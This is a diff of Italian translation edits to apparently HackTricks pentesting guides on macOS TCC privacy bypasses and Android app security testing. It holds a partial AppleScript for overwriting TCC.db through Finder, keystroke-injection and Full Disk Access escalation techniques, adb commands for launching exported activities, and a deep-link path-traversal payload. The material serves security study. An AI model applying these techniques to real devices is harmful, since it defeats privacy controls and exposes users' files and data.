> Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle TCC riservate** e darti i file, ma per quanto ne so **non sarai in grado di far eseguire a Finder codice arbitrario** per abusare completamente del suo accesso FDA.
|
||||
> Con questo permesso sarai in grado di **chiedere a Finder di accedere alle cartelle TCC riservate** e darti i file, ma per quanto ne so **non sarai in grado di far eseguire a Finder codice arbitrario** per sfruttare completamente il suo accesso FDA.
|
||||
>
|
||||
> Pertanto, non sarai in grado di abusare delle piene capacità FDA.
|
||||
|
||||
@ -396,7 +396,7 @@ EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
Lo stesso vale per l'**app Script Editor**, può controllare Finder, ma utilizzando un AppleScript non puoi costringerlo a eseguire uno script.
|
||||
Lo stesso vale per l'**app Script Editor,** può controllare Finder, ma utilizzando un AppleScript non puoi costringerlo a eseguire uno script.
|
||||
|
||||
### Automazione (SE) a qualche TCC
|
||||
|
||||
@ -446,7 +446,7 @@ rm "$HOME/Desktop/file"
|
||||
|
||||
L'automazione su **`System Events`** + Accessibilità (**`kTCCServicePostEvent`**) consente di inviare **sequenze di tasti ai processi**. In questo modo potresti abusare di Finder per modificare il TCC.db degli utenti o per concedere FDA a un'app arbitraria (anche se potrebbe essere richiesta una password per questo).
|
||||
|
||||
Esempio di sovrascrittura del TCC.db degli utenti da parte di Finder:
|
||||
Esempio di sovrascrittura del TCC.db degli utenti tramite Finder:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
@ -494,7 +494,7 @@ EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility` a FDA\*
|
||||
|
||||
Controlla questa pagina per alcuni [**payloads per abusare delle autorizzazioni di Accessibilità**](macos-tcc-payloads.md#accessibility) per privesc a FDA\* o eseguire un keylogger, ad esempio.
|
||||
Controlla questa pagina per alcuni [**payload per abusare delle autorizzazioni di Accessibilità**](macos-tcc-payloads.md#accessibility) per privesc a FDA\* o eseguire un keylogger, ad esempio.
|
||||
|
||||
### **Endpoint Security Client a FDA**
|
||||
|
||||
@ -504,9 +504,9 @@ Se hai **`kTCCServiceEndpointSecurityClient`**, hai FDA. Fine.
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** consente di **cambiare** l'attributo **`NFSHomeDirectory`** di un utente che cambia la sua cartella home e quindi consente di **bypassare TCC**.
|
||||
|
||||
### Database TCC Utente a FDA
|
||||
### DB TCC Utente a FDA
|
||||
|
||||
Ottenendo **autorizzazioni di scrittura** sul database **TCC utente** non puoi concederti **`FDA`** autorizzazioni, solo chi vive nel database di sistema può concedere ciò.
|
||||
Ottenendo **autorizzazioni di scrittura** sul database **TCC utente** non puoi concederti **`FDA`** autorizzazioni, solo colui che vive nel database di sistema può concedere ciò.
|
||||
|
||||
Ma puoi **darti** **`diritti di automazione a Finder`**, e abusare della tecnica precedente per escalare a FDA\*.
|
||||
|
||||
@ -518,7 +518,7 @@ Non penso che questo sia un vero privesc, ma giusto nel caso lo trovi utile: Se
|
||||
|
||||
### **SIP Bypass a TCC Bypass**
|
||||
|
||||
Il **database TCC di sistema** è protetto da **SIP**, ecco perché solo i processi con le **autorizzazioni indicate potranno modificarlo**. Pertanto, se un attaccante trova un **bypass SIP** su un **file** (essere in grado di modificare un file ristretto da SIP), sarà in grado di:
|
||||
Il database **TCC di sistema** è protetto da **SIP**, ecco perché solo i processi con le **autorizzazioni indicate potranno modificarlo**. Pertanto, se un attaccante trova un **bypass SIP** su un **file** (essere in grado di modificare un file ristretto da SIP), sarà in grado di:
|
||||
|
||||
- **Rimuovere la protezione** di un database TCC e darsi tutte le autorizzazioni TCC. Potrebbe abusare di uno di questi file, ad esempio:
|
||||
- Il database di sistema TCC
|
||||
@ -554,7 +554,7 @@ AllowApplicationsList.plist:
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### Bypass TCC
|
||||
### TCC Bypasses
|
||||
|
||||
{{#ref}}
|
||||
macos-tcc-bypasses/
|
||||
|
||||
@ -13,7 +13,7 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
|
||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility permette la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||
|
||||
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
|
||||
|
||||
@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Unisci tutti i file divisi e le apk di base con [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Unisci tutti gli APK divisi e di base con [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -45,31 +45,31 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Static Analysis
|
||||
## Analisi Statica
|
||||
|
||||
Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** utilizzando un decompilatore.\
|
||||
Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disponibili**](apk-decompilers.md).
|
||||
|
||||
### Looking for interesting Info
|
||||
### Ricerca di informazioni interessanti
|
||||
|
||||
Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
|
||||
Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
|
||||
|
||||
L'**esame del file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'applicazione può rivelare potenziali vulnerabilità di sicurezza\*\*. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
|
||||
L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo.
|
||||
|
||||
**Vulnerabilità** identificate dal **Manifest.xml** includono:
|
||||
|
||||
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
|
||||
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||
- **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||
- **Sicurezza della Rete**: Configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come pin di certificato e impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
|
||||
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
|
||||
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per le vulnerabilità di input.
|
||||
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. La configurazione dei FileProviders dovrebbe essere esaminata con attenzione.
|
||||
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input.
|
||||
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
|
||||
|
||||
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
|
||||
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Questo significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
|
||||
|
||||
Maggiore info in:
|
||||
|
||||
@ -95,51 +95,51 @@ Maggiore info in:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Insecure data storage
|
||||
### Memorizzazione dei dati non sicura
|
||||
|
||||
**Internal Storage**
|
||||
**Memoria Interna**
|
||||
|
||||
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **applicata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
|
||||
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
1. **Analisi Statica:**
|
||||
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato con attenzione**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
|
||||
2. **Analisi Dinamica:**
|
||||
- **Verifica** i **permessi** impostati sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
|
||||
**External Storage**
|
||||
**Memoria Esterna**
|
||||
|
||||
Quando si trattano file su **memoria esterna**, come le schede SD, dovrebbero essere adottate alcune precauzioni:
|
||||
Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
|
||||
|
||||
1. **Accessibilità**:
|
||||
- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
2. **Preoccupazioni di Sicurezza**:
|
||||
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** su memoria esterna.
|
||||
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
|
||||
- La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
|
||||
3. **Gestione dei Dati dalla Memoria Esterna**:
|
||||
- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale poiché i dati provengono da una fonte non attendibile.
|
||||
- Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
||||
- Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
|
||||
- Memorizzare eseguibili o file di classe sulla memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
||||
- Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
|
||||
|
||||
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!NOTE]
|
||||
> A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione dannosa di ottenere accesso in lettura o scrittura ai file di un'altra app.
|
||||
> A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app.
|
||||
|
||||
**Sensitive data stored in clear-text**
|
||||
**Dati sensibili memorizzati in chiaro**
|
||||
|
||||
- **Shared preferences**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
- **Databases**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
- **Preferenze condivise**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
- **Database**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
|
||||
|
||||
### Broken TLS
|
||||
### TLS Rotto
|
||||
|
||||
**Accept All Certificates**
|
||||
**Accetta Tutti i Certificati**
|
||||
|
||||
Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, il nome host non corrisponde a righe di codice come la seguente:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Un buon modo per testare questo è provare a catturare il traffico utilizzando un proxy come Burp senza autorizzare Burp CA all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
|
||||
Un buon modo per testare questo è provare a catturare il traffico utilizzando un proxy come Burp senza autorizzare il certificato CA di Burp all'interno del dispositivo. Inoltre, puoi generare con Burp un certificato per un hostname diverso e usarlo.
|
||||
|
||||
### Criptografia compromessa
|
||||
|
||||
@ -149,12 +149,12 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
|
||||
|
||||
**Utilizzo di algoritmi insicuri e/o deprecati**
|
||||
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti alla **forza bruta** con sale.
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
|
||||
|
||||
### Altri controlli
|
||||
|
||||
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i **propri controlli per vedere se il mobile è rootato** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
|
||||
@ -177,7 +177,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
|
||||
|
||||
### Applicazioni Superpacked
|
||||
|
||||
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un singolo file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
|
||||
### Analisi statica automatizzata del codice
|
||||
|
||||
@ -214,7 +214,7 @@ content-protocol.md
|
||||
|
||||
## Analisi dinamica
|
||||
|
||||
> Prima di tutto, hai bisogno di un ambiente in cui puoi installare l'applicazione e tutto l'ambiente (certificato Burp CA, Drozer e Frida principalmente). Pertanto, è estremamente consigliato un dispositivo rootato (emulato o meno).
|
||||
> Prima di tutto, hai bisogno di un ambiente in cui puoi installare l'applicazione e tutto l'ambiente (certificato CA di Burp, Drozer e Frida principalmente). Pertanto, è estremamente consigliato un dispositivo rootato (emulato o meno).
|
||||
|
||||
### Analisi dinamica online
|
||||
|
||||
@ -230,7 +230,7 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
|
||||
|
||||
#### Utilizzando un emulatore
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi x86** le versioni **supportano le librerie ARM** senza bisogno di un emulatore arm lento).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi x86** le versioni **supportano le librerie ARM** senza necessità di un emulatore arm lento).
|
||||
- Impara a configurarlo in questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
@ -278,13 +278,13 @@ Il framework **basato su clipboard** di Android consente la funzionalità di cop
|
||||
|
||||
**Log di crash**
|
||||
|
||||
Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza.
|
||||
Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere sottoposta a reverse engineering. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza.
|
||||
|
||||
Come pentester, **cerca di dare un'occhiata a questi log**.
|
||||
|
||||
**Dati di analisi inviati a terzi**
|
||||
|
||||
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
|
||||
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
|
||||
|
||||
### DB SQLite
|
||||
|
||||
@ -293,7 +293,7 @@ I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `
|
||||
|
||||
Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
|
||||
|
||||
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
|
||||
Enumera le tabelle utilizzando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
|
||||
|
||||
### Drozer (Attività di sfruttamento, Content Providers e Servizi)
|
||||
|
||||
@ -307,14 +307,14 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
|
||||
|
||||
**Bypass dell'autorizzazione**
|
||||
|
||||
Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
|
||||
Quando un'Activity è esportata puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**.
|
||||
|
||||
[**Impara come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
|
||||
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Puoi anche avviare un'attività esportata da adb:
|
||||
|
||||
- Il nome del pacchetto è com.example.demo
|
||||
- Il nome dell'attività esportata è com.example.test.MainActivity
|
||||
- PackageName è com.example.demo
|
||||
- Exported ActivityName è com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).
|
||||
Se il tapjacking non è prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
|
||||
|
||||
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
|
||||
|
||||
@ -351,10 +351,10 @@ Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarl
|
||||
[**Leggi questo se vuoi rinfrescare cosa è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`.
|
||||
|
||||
Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il ricevitore gestisce il messaggio, potrebbe essere vulnerabile.\
|
||||
Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
|
||||
[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Sfruttare Schemes / Deep links**
|
||||
### **Sfruttare Schemi / Deep links**
|
||||
|
||||
Puoi cercare deep links manualmente, utilizzando strumenti come MobSF o script come [questo](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puoi **aprire** uno **schema** dichiarato usando **adb** o un **browser**:
|
||||
@ -380,7 +380,7 @@ Ogni volta che trovi un deep link, controlla che **non stia ricevendo dati sensi
|
||||
|
||||
**Parametri nel percorso**
|
||||
|
||||
Devi **controllare anche se qualche deep link sta usando un parametro all'interno del percorso** dell'URL come: `https://api.example.com/v1/users/{username}`, in tal caso puoi forzare un traversamento del percorso accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Devi **controllare anche se qualche deep link sta usando un parametro all'interno del percorso** dell'URL come: `https://api.example.com/v1/users/{username}`, in tal caso puoi forzare un percorso di traversamento accedendo a qualcosa come: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Nota che se trovi i corretti endpoint all'interno dell'applicazione potresti essere in grado di causare un **Open Redirect** (se parte del percorso è usata come nome di dominio), **account takeover** (se puoi modificare i dettagli degli utenti senza token CSRF e l'endpoint vulnerabile usava il metodo corretto) e qualsiasi altra vulnerabilità. Maggiori [info su questo qui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Altri esempi**
|
||||
@ -390,7 +390,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
|
||||
### Ispezione e verifiche del livello di trasporto
|
||||
|
||||
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite di cifratura insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
|
||||
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
|
||||
- **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
|
||||
|
||||
#### Verifica del certificato
|
||||
@ -405,13 +405,13 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi
|
||||
|
||||
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (ad es., Burp). Senza installare questo certificato, il traffico crittografato potrebbe non essere visibile attraverso il proxy. Per una guida sull'installazione di un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è fondamentale per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
|
||||
